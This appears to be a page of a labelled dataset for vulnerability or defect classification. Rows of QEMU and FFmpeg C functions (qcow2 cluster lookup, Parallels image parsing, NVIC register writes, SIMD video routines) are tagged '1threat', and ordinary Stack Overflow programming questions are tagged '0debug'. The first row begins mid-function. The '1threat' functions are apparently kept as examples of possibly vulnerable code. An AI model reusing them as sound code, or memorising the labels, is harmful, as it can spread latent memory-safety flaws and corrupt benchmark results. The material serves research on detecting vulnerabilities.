res = float64_sub(a, b, &env->fp_status);
if (float64_is_nan(res)) {
if (!float64_is_nan(a)
&& !float64_is_nan(b)) {
res = float64_zero;
if (float64_lt_quiet(a, res, &env->fp_status))
res = float64_chs(res);
}
}
return res;
}
| 1threat |
What would be the best practice for transferring from flat file to sql? : So, I have recently been tasked with transferring an old Flat File System Scheduling system into a SQL Database using C#.
The main issue I am finding is the fact that the tasks (See snippet below) use a List of strings (Created using GUIDs) has made me unsure of how to structure the database.
public class Task
{
private string TaskID;
private string TaskName;
private string TaskDescription;
private bool IsComplete;
private DateTime EstimatedStartDate;
private DateTime ActualStartDate;
private DateTime EstimatedCompletionDate;
private DateTime ActualCompletionDate;
private string TeamLead;
private List<string> TeamMembers = new List<string>();
private TaskType TaskType;
private string ParentID;
private List<string> ChildIDs = new List<string>();
}
When it comes to SQL I know that using list that can only be contained in a single Cell are generally a nono, the real question is should I be having this in a list where the query will only have to query the taskID or parentID to find the requested task OR to have it split into different tables for each Category in the system (This works in 4 different Categories) and then dependant on the task's type and taskID to choose the correct table it will need to query for its children. | 0debug |
I need to remove items from array until there is only one javascript : I have made array and all but i only need function that clears every second item from list and doing that job until there is only 1 item left for example i need something to do in array from 1-10 including 1 and 10 the result need to be 5?
Any sugestions it is similar like this but only need it for javascript not phyton
https://stackoverflow.com/questions/21869984/how-to-delete-elements-of-a-circular-list-until-there-is-only-one-element-left-u | 0debug |
CSS: Position absolute ::before of child with respect to relative grandparent : <p>I'm trying to position an absolutely position <code>::before</code> of an element with respect to its relatively positioned grandparent. It's parent is not positioned, but it's <code>top</code> and <code>left</code> respect the parent and not the grandparent.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>* {
box-sizing: border-box;
}
::-webkit-input-placeholder,
::-moz-placeholder {
color: #9b9b9b;
}
.field {
height: 43px;
display: flex;
flex-direction: column-reverse;
position: relative;
}
input,
label {
display: block;
}
input {
font-size: 14px;
border: 0;
border-bottom: 1px solid #F2F2F2;
border-radius: 0;
padding: 3px 0 10px 0;
background-color: transparent;
}
input:focus {
outline: 0;
border-bottom: 1px solid #D66C9C;
}
label {
font-size: 12px;
color: #9b9b9b;
transform: translateY(20px);
transition: all 0.2s;
}
input:focus + label {
color: #808080;
transform: translateY(0);
}
input:focus + label::before {
content: "";
width: 5px;
height: 5px;
display: block;
background-color: #d66c9c;
transform: rotate(45deg) translateY(-50%);
position: absolute;
left: 0;
bottom: 0;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>JS Bin</title>
</head>
<body>
<div class="field">
<input type="text" id="fullname">
<label for="fullname">Name</label>
</div>
</body>
</html></code></pre>
</div>
</div>
</p>
| 0debug |
int qcow2_get_cluster_offset(BlockDriverState *bs, uint64_t offset,
unsigned int *bytes, uint64_t *cluster_offset)
{
BDRVQcow2State *s = bs->opaque;
unsigned int l2_index;
uint64_t l1_index, l2_offset, *l2_table;
int l1_bits, c;
unsigned int offset_in_cluster;
uint64_t bytes_available, bytes_needed, nb_clusters;
int ret;
offset_in_cluster = offset_into_cluster(s, offset);
bytes_needed = (uint64_t) *bytes + offset_in_cluster;
l1_bits = s->l2_bits + s->cluster_bits;
bytes_available = (1ULL << l1_bits) - (offset & ((1ULL << l1_bits) - 1))
+ offset_in_cluster;
if (bytes_needed > bytes_available) {
bytes_needed = bytes_available;
}
*cluster_offset = 0;
l1_index = offset >> l1_bits;
if (l1_index >= s->l1_size) {
ret = QCOW2_CLUSTER_UNALLOCATED;
goto out;
}
l2_offset = s->l1_table[l1_index] & L1E_OFFSET_MASK;
if (!l2_offset) {
ret = QCOW2_CLUSTER_UNALLOCATED;
goto out;
}
if (offset_into_cluster(s, l2_offset)) {
qcow2_signal_corruption(bs, true, -1, -1, "L2 table offset %#" PRIx64
" unaligned (L1 index: %#" PRIx64 ")",
l2_offset, l1_index);
return -EIO;
}
ret = l2_load(bs, l2_offset, &l2_table);
if (ret < 0) {
return ret;
}
l2_index = (offset >> s->cluster_bits) & (s->l2_size - 1);
*cluster_offset = be64_to_cpu(l2_table[l2_index]);
nb_clusters = size_to_clusters(s, bytes_needed);
assert(nb_clusters <= INT_MAX);
ret = qcow2_get_cluster_type(*cluster_offset);
switch (ret) {
case QCOW2_CLUSTER_COMPRESSED:
c = 1;
*cluster_offset &= L2E_COMPRESSED_OFFSET_SIZE_MASK;
break;
case QCOW2_CLUSTER_ZERO:
if (s->qcow_version < 3) {
qcow2_signal_corruption(bs, true, -1, -1, "Zero cluster entry found"
" in pre-v3 image (L2 offset: %#" PRIx64
", L2 index: %#x)", l2_offset, l2_index);
ret = -EIO;
goto fail;
}
c = count_contiguous_clusters_by_type(nb_clusters, &l2_table[l2_index],
QCOW2_CLUSTER_ZERO);
*cluster_offset = 0;
break;
case QCOW2_CLUSTER_UNALLOCATED:
c = count_contiguous_clusters_by_type(nb_clusters, &l2_table[l2_index],
QCOW2_CLUSTER_UNALLOCATED);
*cluster_offset = 0;
break;
case QCOW2_CLUSTER_NORMAL:
c = count_contiguous_clusters(nb_clusters, s->cluster_size,
&l2_table[l2_index], QCOW_OFLAG_ZERO);
*cluster_offset &= L2E_OFFSET_MASK;
if (offset_into_cluster(s, *cluster_offset)) {
qcow2_signal_corruption(bs, true, -1, -1, "Data cluster offset %#"
PRIx64 " unaligned (L2 offset: %#" PRIx64
", L2 index: %#x)", *cluster_offset,
l2_offset, l2_index);
ret = -EIO;
goto fail;
}
break;
default:
abort();
}
qcow2_cache_put(bs, s->l2_table_cache, (void**) &l2_table);
bytes_available = (int64_t)c * s->cluster_size;
out:
if (bytes_available > bytes_needed) {
bytes_available = bytes_needed;
}
assert(bytes_available - offset_in_cluster <= UINT_MAX);
*bytes = bytes_available - offset_in_cluster;
return ret;
fail:
qcow2_cache_put(bs, s->l2_table_cache, (void **)&l2_table);
return ret;
}
| 1threat |
Using CameraCaptureUI in Windows 10 fullscreen : <p>Is their a way to tell the <a href="https://msdn.microsoft.com/en-us/library/windows/apps/windows.media.capture.cameracaptureui">CameraCaptureUI</a>, that it should start in fullscreen mode, instead of a small window?</p>
<p>my current code from the linked webside:</p>
<pre><code>CameraCaptureUI cameraUI = new CameraCaptureUI();
Windows.Storage.StorageFile capturedMedia =
await cameraUI.CaptureFileAsync(CameraCaptureUIMode.Video);
</code></pre>
<p>My Application is based on WinRT for Windows 8.1.</p>
<p>On a Win 8 Client the Camera App just start in fullscreen, but with a Win 10 Client it open the Camera App in a small window</p>
| 0debug |
static void intra_predict_plane_16x16_msa(uint8_t *src, int32_t stride)
{
uint8_t lpcnt;
int32_t res0, res1, res2, res3;
uint64_t load0, load1;
v16i8 shf_mask = { 7, 8, 6, 9, 5, 10, 4, 11, 3, 12, 2, 13, 1, 14, 0, 15 };
v8i16 short_multiplier = { 1, 2, 3, 4, 5, 6, 7, 8 };
v4i32 int_multiplier = { 0, 1, 2, 3 };
v16u8 src_top = { 0 };
v8i16 vec9, vec10;
v4i32 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7, vec8, res_add;
load0 = LD(src - (stride + 1));
load1 = LD(src - (stride + 1) + 9);
INSERT_D2_UB(load0, load1, src_top);
src_top = (v16u8) __msa_vshf_b(shf_mask, (v16i8) src_top, (v16i8) src_top);
vec9 = __msa_hsub_u_h(src_top, src_top);
vec9 *= short_multiplier;
vec8 = __msa_hadd_s_w(vec9, vec9);
res_add = (v4i32) __msa_hadd_s_d(vec8, vec8);
res0 = __msa_copy_s_w(res_add, 0) + __msa_copy_s_w(res_add, 2);
res1 = (src[8 * stride - 1] - src[6 * stride - 1]) +
2 * (src[9 * stride - 1] - src[5 * stride - 1]) +
3 * (src[10 * stride - 1] - src[4 * stride - 1]) +
4 * (src[11 * stride - 1] - src[3 * stride - 1]) +
5 * (src[12 * stride - 1] - src[2 * stride - 1]) +
6 * (src[13 * stride - 1] - src[stride - 1]) +
7 * (src[14 * stride - 1] - src[-1]) +
8 * (src[15 * stride - 1] - src[-1 * stride - 1]);
res0 *= 5;
res1 *= 5;
res0 = (res0 + 32) >> 6;
res1 = (res1 + 32) >> 6;
res3 = 7 * (res0 + res1);
res2 = 16 * (src[15 * stride - 1] + src[-stride + 15] + 1);
res2 -= res3;
vec8 = __msa_fill_w(res0);
vec4 = __msa_fill_w(res2);
vec5 = __msa_fill_w(res1);
vec6 = vec8 * 4;
vec7 = vec8 * int_multiplier;
for (lpcnt = 16; lpcnt--;) {
vec0 = vec7;
vec0 += vec4;
vec1 = vec0 + vec6;
vec2 = vec1 + vec6;
vec3 = vec2 + vec6;
SRA_4V(vec0, vec1, vec2, vec3, 5);
PCKEV_H2_SH(vec1, vec0, vec3, vec2, vec9, vec10);
CLIP_SH2_0_255(vec9, vec10);
PCKEV_ST_SB(vec9, vec10, src);
src += stride;
vec4 += vec5;
}
}
| 1threat |
static void exception_action(CPUState *cpu)
{
#if defined(TARGET_I386)
X86CPU *x86_cpu = X86_CPU(cpu);
CPUX86State *env1 = &x86_cpu->env;
raise_exception_err(env1, cpu->exception_index, env1->error_code);
#else
cpu_loop_exit(cpu);
#endif
}
| 1threat |
static int parallels_open(BlockDriverState *bs, QDict *options, int flags,
Error **errp)
{
BDRVParallelsState *s = bs->opaque;
int i;
ParallelsHeader ph;
int ret;
ret = bdrv_pread(bs->file, 0, &ph, sizeof(ph));
if (ret < 0) {
goto fail;
}
bs->total_sectors = le64_to_cpu(ph.nb_sectors);
if (le32_to_cpu(ph.version) != HEADER_VERSION) {
goto fail_format;
}
if (!memcmp(ph.magic, HEADER_MAGIC, 16)) {
s->off_multiplier = 1;
bs->total_sectors = 0xffffffff & bs->total_sectors;
} else if (!memcmp(ph.magic, HEADER_MAGIC2, 16)) {
s->off_multiplier = le32_to_cpu(ph.tracks);
} else {
goto fail_format;
}
s->tracks = le32_to_cpu(ph.tracks);
if (s->tracks == 0) {
error_setg(errp, "Invalid image: Zero sectors per track");
ret = -EINVAL;
goto fail;
}
if (s->tracks > INT32_MAX/513) {
error_setg(errp, "Invalid image: Too big cluster");
ret = -EFBIG;
goto fail;
}
s->catalog_size = le32_to_cpu(ph.catalog_entries);
if (s->catalog_size > INT_MAX / sizeof(uint32_t)) {
error_setg(errp, "Catalog too large");
ret = -EFBIG;
goto fail;
}
s->catalog_bitmap = g_try_new(uint32_t, s->catalog_size);
if (s->catalog_size && s->catalog_bitmap == NULL) {
ret = -ENOMEM;
goto fail;
}
ret = bdrv_pread(bs->file, sizeof(ParallelsHeader),
s->catalog_bitmap, s->catalog_size * sizeof(uint32_t));
if (ret < 0) {
goto fail;
}
for (i = 0; i < s->catalog_size; i++)
le32_to_cpus(&s->catalog_bitmap[i]);
s->has_truncate = bdrv_has_zero_init(bs->file) &&
bdrv_truncate(bs->file, bdrv_getlength(bs->file)) == 0;
qemu_co_mutex_init(&s->lock);
return 0;
fail_format:
error_setg(errp, "Image not in Parallels format");
ret = -EINVAL;
fail:
g_free(s->catalog_bitmap);
return ret;
}
| 1threat |
static void avc_biwgt_4x2_msa(uint8_t *src,
int32_t src_stride,
uint8_t *dst,
int32_t dst_stride,
int32_t log2_denom,
int32_t src_weight,
int32_t dst_weight,
int32_t offset_in)
{
uint32_t load0, load1, out0, out1;
v16i8 src_wgt, dst_wgt, wgt;
v16i8 src0, src1, dst0, dst1;
v8i16 temp0, temp1, denom, offset, add_val;
int32_t val = 128 * (src_weight + dst_weight);
offset_in = ((offset_in + 1) | 1) << log2_denom;
src_wgt = __msa_fill_b(src_weight);
dst_wgt = __msa_fill_b(dst_weight);
offset = __msa_fill_h(offset_in);
denom = __msa_fill_h(log2_denom + 1);
add_val = __msa_fill_h(val);
offset += add_val;
wgt = __msa_ilvev_b(dst_wgt, src_wgt);
load0 = LOAD_WORD(src);
src += src_stride;
load1 = LOAD_WORD(src);
src0 = (v16i8) __msa_fill_w(load0);
src1 = (v16i8) __msa_fill_w(load1);
load0 = LOAD_WORD(dst);
load1 = LOAD_WORD(dst + dst_stride);
dst0 = (v16i8) __msa_fill_w(load0);
dst1 = (v16i8) __msa_fill_w(load1);
XORI_B_4VECS_SB(src0, src1, dst0, dst1, src0, src1, dst0, dst1, 128);
ILVR_B_2VECS_SH(src0, src1, dst0, dst1, temp0, temp1);
temp0 = __msa_dpadd_s_h(offset, wgt, (v16i8) temp0);
temp1 = __msa_dpadd_s_h(offset, wgt, (v16i8) temp1);
temp0 >>= denom;
temp1 >>= denom;
temp0 = CLIP_UNSIGNED_CHAR_H(temp0);
temp1 = CLIP_UNSIGNED_CHAR_H(temp1);
dst0 = __msa_pckev_b((v16i8) temp0, (v16i8) temp0);
dst1 = __msa_pckev_b((v16i8) temp1, (v16i8) temp1);
out0 = __msa_copy_u_w((v4i32) dst0, 0);
out1 = __msa_copy_u_w((v4i32) dst1, 0);
STORE_WORD(dst, out0);
dst += dst_stride;
STORE_WORD(dst, out1);
}
| 1threat |
static inline void RENAME(hScale)(int16_t *dst, int dstW, uint8_t *src, int srcW, int xInc,
int16_t *filter, int16_t *filterPos, long filterSize)
{
#ifdef HAVE_MMX
assert(filterSize % 4 == 0 && filterSize>0);
if(filterSize==4)
{
long counter= -2*dstW;
filter-= counter*2;
filterPos-= counter/2;
dst-= counter/2;
asm volatile(
#if defined(PIC)
"push %%"REG_b" \n\t"
#endif
"pxor %%mm7, %%mm7 \n\t"
"movq "MANGLE(w02)", %%mm6 \n\t"
"push %%"REG_BP" \n\t"
"mov %%"REG_a", %%"REG_BP" \n\t"
ASMALIGN(4)
"1: \n\t"
"movzwl (%2, %%"REG_BP"), %%eax \n\t"
"movzwl 2(%2, %%"REG_BP"), %%ebx\n\t"
"movq (%1, %%"REG_BP", 4), %%mm1\n\t"
"movq 8(%1, %%"REG_BP", 4), %%mm3\n\t"
"movd (%3, %%"REG_a"), %%mm0 \n\t"
"movd (%3, %%"REG_b"), %%mm2 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"pmaddwd %%mm1, %%mm0 \n\t"
"pmaddwd %%mm2, %%mm3 \n\t"
"psrad $8, %%mm0 \n\t"
"psrad $8, %%mm3 \n\t"
"packssdw %%mm3, %%mm0 \n\t"
"pmaddwd %%mm6, %%mm0 \n\t"
"packssdw %%mm0, %%mm0 \n\t"
"movd %%mm0, (%4, %%"REG_BP") \n\t"
"add $4, %%"REG_BP" \n\t"
" jnc 1b \n\t"
"pop %%"REG_BP" \n\t"
#if defined(PIC)
"pop %%"REG_b" \n\t"
#endif
: "+a" (counter)
: "c" (filter), "d" (filterPos), "S" (src), "D" (dst)
#if !defined(PIC)
: "%"REG_b
#endif
);
}
else if(filterSize==8)
{
long counter= -2*dstW;
filter-= counter*4;
filterPos-= counter/2;
dst-= counter/2;
asm volatile(
#if defined(PIC)
"push %%"REG_b" \n\t"
#endif
"pxor %%mm7, %%mm7 \n\t"
"movq "MANGLE(w02)", %%mm6 \n\t"
"push %%"REG_BP" \n\t"
"mov %%"REG_a", %%"REG_BP" \n\t"
ASMALIGN(4)
"1: \n\t"
"movzwl (%2, %%"REG_BP"), %%eax \n\t"
"movzwl 2(%2, %%"REG_BP"), %%ebx\n\t"
"movq (%1, %%"REG_BP", 8), %%mm1\n\t"
"movq 16(%1, %%"REG_BP", 8), %%mm3\n\t"
"movd (%3, %%"REG_a"), %%mm0 \n\t"
"movd (%3, %%"REG_b"), %%mm2 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"pmaddwd %%mm1, %%mm0 \n\t"
"pmaddwd %%mm2, %%mm3 \n\t"
"movq 8(%1, %%"REG_BP", 8), %%mm1\n\t"
"movq 24(%1, %%"REG_BP", 8), %%mm5\n\t"
"movd 4(%3, %%"REG_a"), %%mm4 \n\t"
"movd 4(%3, %%"REG_b"), %%mm2 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"pmaddwd %%mm1, %%mm4 \n\t"
"pmaddwd %%mm2, %%mm5 \n\t"
"paddd %%mm4, %%mm0 \n\t"
"paddd %%mm5, %%mm3 \n\t"
"psrad $8, %%mm0 \n\t"
"psrad $8, %%mm3 \n\t"
"packssdw %%mm3, %%mm0 \n\t"
"pmaddwd %%mm6, %%mm0 \n\t"
"packssdw %%mm0, %%mm0 \n\t"
"movd %%mm0, (%4, %%"REG_BP") \n\t"
"add $4, %%"REG_BP" \n\t"
" jnc 1b \n\t"
"pop %%"REG_BP" \n\t"
#if defined(PIC)
"pop %%"REG_b" \n\t"
#endif
: "+a" (counter)
: "c" (filter), "d" (filterPos), "S" (src), "D" (dst)
#if !defined(PIC)
: "%"REG_b
#endif
);
}
else
{
uint8_t *offset = src+filterSize;
long counter= -2*dstW;
filterPos-= counter/2;
dst-= counter/2;
asm volatile(
"pxor %%mm7, %%mm7 \n\t"
"movq "MANGLE(w02)", %%mm6 \n\t"
ASMALIGN(4)
"1: \n\t"
"mov %2, %%"REG_c" \n\t"
"movzwl (%%"REG_c", %0), %%eax \n\t"
"movzwl 2(%%"REG_c", %0), %%edx \n\t"
"mov %5, %%"REG_c" \n\t"
"pxor %%mm4, %%mm4 \n\t"
"pxor %%mm5, %%mm5 \n\t"
"2: \n\t"
"movq (%1), %%mm1 \n\t"
"movq (%1, %6), %%mm3 \n\t"
"movd (%%"REG_c", %%"REG_a"), %%mm0\n\t"
"movd (%%"REG_c", %%"REG_d"), %%mm2\n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"pmaddwd %%mm1, %%mm0 \n\t"
"pmaddwd %%mm2, %%mm3 \n\t"
"paddd %%mm3, %%mm5 \n\t"
"paddd %%mm0, %%mm4 \n\t"
"add $8, %1 \n\t"
"add $4, %%"REG_c" \n\t"
"cmp %4, %%"REG_c" \n\t"
" jb 2b \n\t"
"add %6, %1 \n\t"
"psrad $8, %%mm4 \n\t"
"psrad $8, %%mm5 \n\t"
"packssdw %%mm5, %%mm4 \n\t"
"pmaddwd %%mm6, %%mm4 \n\t"
"packssdw %%mm4, %%mm4 \n\t"
"mov %3, %%"REG_a" \n\t"
"movd %%mm4, (%%"REG_a", %0) \n\t"
"add $4, %0 \n\t"
" jnc 1b \n\t"
: "+r" (counter), "+r" (filter)
: "m" (filterPos), "m" (dst), "m"(offset),
"m" (src), "r" (filterSize*2)
: "%"REG_a, "%"REG_c, "%"REG_d
);
}
#else
#ifdef HAVE_ALTIVEC
hScale_altivec_real(dst, dstW, src, srcW, xInc, filter, filterPos, filterSize);
#else
int i;
for(i=0; i<dstW; i++)
{
int j;
int srcPos= filterPos[i];
int val=0;
for(j=0; j<filterSize; j++)
{
val += ((int)src[srcPos + j])*filter[filterSize*i + j];
}
dst[i] = av_clip(val>>7, 0, (1<<15)-1);
}
#endif
#endif
}
| 1threat |
int64_t ff_start_tag(AVIOContext *pb, const char *tag)
{
ffio_wfourcc(pb, tag);
avio_wl32(pb, 0);
return avio_tell(pb);
}
| 1threat |
static int tsc210x_load(QEMUFile *f, void *opaque, int version_id)
{
TSC210xState *s = (TSC210xState *) opaque;
int64_t now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
int i;
s->x = qemu_get_be16(f);
s->y = qemu_get_be16(f);
s->pressure = qemu_get_byte(f);
s->state = qemu_get_byte(f);
s->page = qemu_get_byte(f);
s->offset = qemu_get_byte(f);
s->command = qemu_get_byte(f);
s->irq = qemu_get_byte(f);
qemu_get_be16s(f, &s->dav);
timer_get(f, s->timer);
s->enabled = qemu_get_byte(f);
s->host_mode = qemu_get_byte(f);
s->function = qemu_get_byte(f);
s->nextfunction = qemu_get_byte(f);
s->precision = qemu_get_byte(f);
s->nextprecision = qemu_get_byte(f);
s->filter = qemu_get_byte(f);
s->pin_func = qemu_get_byte(f);
s->ref = qemu_get_byte(f);
s->timing = qemu_get_byte(f);
s->noise = qemu_get_be32(f);
qemu_get_be16s(f, &s->audio_ctrl1);
qemu_get_be16s(f, &s->audio_ctrl2);
qemu_get_be16s(f, &s->audio_ctrl3);
qemu_get_be16s(f, &s->pll[0]);
qemu_get_be16s(f, &s->pll[1]);
qemu_get_be16s(f, &s->volume);
s->volume_change = qemu_get_sbe64(f) + now;
s->powerdown = qemu_get_sbe64(f) + now;
s->softstep = qemu_get_byte(f);
qemu_get_be16s(f, &s->dac_power);
for (i = 0; i < 0x14; i ++)
qemu_get_be16s(f, &s->filter_data[i]);
s->busy = timer_pending(s->timer);
qemu_set_irq(s->pint, !s->irq);
qemu_set_irq(s->davint, !s->dav);
return 0;
| 1threat |
Architecture components ViewModel vs. savedInstanceState bundle : <p>Trying to understand what is the difference with using the ViewModel to keep some of the state of the activity or fragment, and saving them with the savedInstanceState bundle. </p>
<p>Got a impression that the ViewModel instance is kept alive when the activity/fragment is destroyed by os in the case like configuration change so that when os recreate the activity/fragment could get the data from the ViewModel instance which is still valid.</p>
<p>Does it apply to minimize the app and re-open it?</p>
<p>Did some test, seems minimize the app and re-open the app, the os will recreate the activity/fragment with the stavedInstanceState bundle in the onCreate() not null (whatever is saved when the onSaveInstanceStae() is called). But the ViewModel has been cleared so a new instance is created without previous ones data.</p>
<p>Does it it mean although is in this case the os can retrieve the saved instance state and pass to activity/fragment's onCreate(), but the ViewModel has to be a new instance without previous instance's data, or the viewModel needs do to some extra step inorder to store/restore the data cross the instances?</p>
| 0debug |
static void nvic_writel(NVICState *s, uint32_t offset, uint32_t value)
{
ARMCPU *cpu = s->cpu;
switch (offset) {
case 0xd04:
if (value & (1 << 31)) {
armv7m_nvic_set_pending(s, ARMV7M_EXCP_NMI);
}
if (value & (1 << 28)) {
armv7m_nvic_set_pending(s, ARMV7M_EXCP_PENDSV);
} else if (value & (1 << 27)) {
armv7m_nvic_clear_pending(s, ARMV7M_EXCP_PENDSV);
}
if (value & (1 << 26)) {
armv7m_nvic_set_pending(s, ARMV7M_EXCP_SYSTICK);
} else if (value & (1 << 25)) {
armv7m_nvic_clear_pending(s, ARMV7M_EXCP_SYSTICK);
}
break;
case 0xd08:
cpu->env.v7m.vecbase = value & 0xffffff80;
break;
case 0xd0c:
if ((value >> 16) == 0x05fa) {
if (value & 4) {
qemu_irq_pulse(s->sysresetreq);
}
if (value & 2) {
qemu_log_mask(LOG_GUEST_ERROR,
"Setting VECTCLRACTIVE when not in DEBUG mode "
"is UNPREDICTABLE\n");
}
if (value & 1) {
qemu_log_mask(LOG_GUEST_ERROR,
"Setting VECTRESET when not in DEBUG mode "
"is UNPREDICTABLE\n");
}
s->prigroup = extract32(value, 8, 3);
nvic_irq_update(s);
}
break;
case 0xd10:
qemu_log_mask(LOG_UNIMP, "NVIC: SCR unimplemented\n");
break;
case 0xd14:
value &= (R_V7M_CCR_STKALIGN_MASK |
R_V7M_CCR_BFHFNMIGN_MASK |
R_V7M_CCR_DIV_0_TRP_MASK |
R_V7M_CCR_UNALIGN_TRP_MASK |
R_V7M_CCR_USERSETMPEND_MASK |
R_V7M_CCR_NONBASETHRDENA_MASK);
cpu->env.v7m.ccr = value;
break;
case 0xd24:
s->vectors[ARMV7M_EXCP_MEM].active = (value & (1 << 0)) != 0;
s->vectors[ARMV7M_EXCP_BUS].active = (value & (1 << 1)) != 0;
s->vectors[ARMV7M_EXCP_USAGE].active = (value & (1 << 3)) != 0;
s->vectors[ARMV7M_EXCP_SVC].active = (value & (1 << 7)) != 0;
s->vectors[ARMV7M_EXCP_DEBUG].active = (value & (1 << 8)) != 0;
s->vectors[ARMV7M_EXCP_PENDSV].active = (value & (1 << 10)) != 0;
s->vectors[ARMV7M_EXCP_SYSTICK].active = (value & (1 << 11)) != 0;
s->vectors[ARMV7M_EXCP_USAGE].pending = (value & (1 << 12)) != 0;
s->vectors[ARMV7M_EXCP_MEM].pending = (value & (1 << 13)) != 0;
s->vectors[ARMV7M_EXCP_BUS].pending = (value & (1 << 14)) != 0;
s->vectors[ARMV7M_EXCP_SVC].pending = (value & (1 << 15)) != 0;
s->vectors[ARMV7M_EXCP_MEM].enabled = (value & (1 << 16)) != 0;
s->vectors[ARMV7M_EXCP_BUS].enabled = (value & (1 << 17)) != 0;
s->vectors[ARMV7M_EXCP_USAGE].enabled = (value & (1 << 18)) != 0;
nvic_irq_update(s);
break;
case 0xd28:
cpu->env.v7m.cfsr &= ~value;
break;
case 0xd2c:
cpu->env.v7m.hfsr &= ~value;
break;
case 0xd30:
cpu->env.v7m.dfsr &= ~value;
break;
case 0xd34:
cpu->env.v7m.mmfar = value;
return;
case 0xd38:
cpu->env.v7m.bfar = value;
return;
case 0xd3c:
qemu_log_mask(LOG_UNIMP,
"NVIC: Aux fault status registers unimplemented\n");
break;
case 0xd90:
return;
case 0xd94:
if ((value &
(R_V7M_MPU_CTRL_HFNMIENA_MASK | R_V7M_MPU_CTRL_ENABLE_MASK))
== R_V7M_MPU_CTRL_HFNMIENA_MASK) {
qemu_log_mask(LOG_GUEST_ERROR, "MPU_CTRL: HFNMIENA and !ENABLE is "
"UNPREDICTABLE\n");
}
cpu->env.v7m.mpu_ctrl = value & (R_V7M_MPU_CTRL_ENABLE_MASK |
R_V7M_MPU_CTRL_HFNMIENA_MASK |
R_V7M_MPU_CTRL_PRIVDEFENA_MASK);
tlb_flush(CPU(cpu));
break;
case 0xd98:
if (value >= cpu->pmsav7_dregion) {
qemu_log_mask(LOG_GUEST_ERROR, "MPU region out of range %"
PRIu32 "/%" PRIu32 "\n",
value, cpu->pmsav7_dregion);
} else {
cpu->env.pmsav7.rnr = value;
}
break;
case 0xd9c:
case 0xda4:
case 0xdac:
case 0xdb4:
{
int region;
if (arm_feature(&cpu->env, ARM_FEATURE_V8)) {
int aliasno = (offset - 0xd9c) / 8;
region = cpu->env.pmsav7.rnr;
if (aliasno) {
region = deposit32(region, 0, 2, aliasno);
}
if (region >= cpu->pmsav7_dregion) {
return;
}
cpu->env.pmsav8.rbar[region] = value;
tlb_flush(CPU(cpu));
return;
}
if (value & (1 << 4)) {
region = extract32(value, 0, 4);
if (region >= cpu->pmsav7_dregion) {
qemu_log_mask(LOG_GUEST_ERROR,
"MPU region out of range %u/%" PRIu32 "\n",
region, cpu->pmsav7_dregion);
return;
}
cpu->env.pmsav7.rnr = region;
} else {
region = cpu->env.pmsav7.rnr;
}
if (region >= cpu->pmsav7_dregion) {
return;
}
cpu->env.pmsav7.drbar[region] = value & ~0x1f;
tlb_flush(CPU(cpu));
break;
}
case 0xda0:
case 0xda8:
case 0xdb0:
case 0xdb8:
{
int region = cpu->env.pmsav7.rnr;
if (arm_feature(&cpu->env, ARM_FEATURE_V8)) {
int aliasno = (offset - 0xd9c) / 8;
region = cpu->env.pmsav7.rnr;
if (aliasno) {
region = deposit32(region, 0, 2, aliasno);
}
if (region >= cpu->pmsav7_dregion) {
return;
}
cpu->env.pmsav8.rlar[region] = value;
tlb_flush(CPU(cpu));
return;
}
if (region >= cpu->pmsav7_dregion) {
return;
}
cpu->env.pmsav7.drsr[region] = value & 0xff3f;
cpu->env.pmsav7.dracr[region] = (value >> 16) & 0x173f;
tlb_flush(CPU(cpu));
break;
}
case 0xdc0:
if (!arm_feature(&cpu->env, ARM_FEATURE_V8)) {
goto bad_offset;
}
if (cpu->pmsav7_dregion) {
cpu->env.pmsav8.mair0 = value;
}
break;
case 0xdc4:
if (!arm_feature(&cpu->env, ARM_FEATURE_V8)) {
goto bad_offset;
}
if (cpu->pmsav7_dregion) {
cpu->env.pmsav8.mair1 = value;
}
break;
case 0xf00:
{
int excnum = (value & 0x1ff) + NVIC_FIRST_IRQ;
if (excnum < s->num_irq) {
armv7m_nvic_set_pending(s, excnum);
}
break;
}
default:
bad_offset:
qemu_log_mask(LOG_GUEST_ERROR,
"NVIC: Bad write offset 0x%x\n", offset);
}
}
| 1threat |
How to write this from javascript to JQuery : <p>Simple question I need these few lines of javascript in jquery.
Just trying to close a modal when I select outside of it.</p>
<p>Thank you.</p>
<pre><code> // When the user clicks anywhere outside of the modal, close it
window.onclick = function(event) {
if (event.target == myModal) {
myModal.style.display = "none";
}
}
</code></pre>
| 0debug |
Making textinputlayout uneditable and setting click event on it : <p>I want to make textinputlayout uneditable by user and when user click on it i want to perform an action.
I added <code>android:focusable="false"</code> inside edittext of textinputlayout to make it uneditable but now when i click on it it is not getting callback inside onclicklistener of textinputlayout.</p>
<pre><code> <android.support.design.widget.TextInputLayout
android:id="@+id/tipVideoFilePath"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_alignBottom="@+id/uploadVideo"
android:layout_toLeftOf="@+id/uploadVideo">
<EditText
android:id="@+id/etVideoFilePath"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:paddingLeft="@dimen/dp5"
android:singleLine="true"
android:focusable="false"
android:hint="@string/videoPath"
android:textColor="@color/black"/>
</android.support.design.widget.TextInputLayout>
</code></pre>
| 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.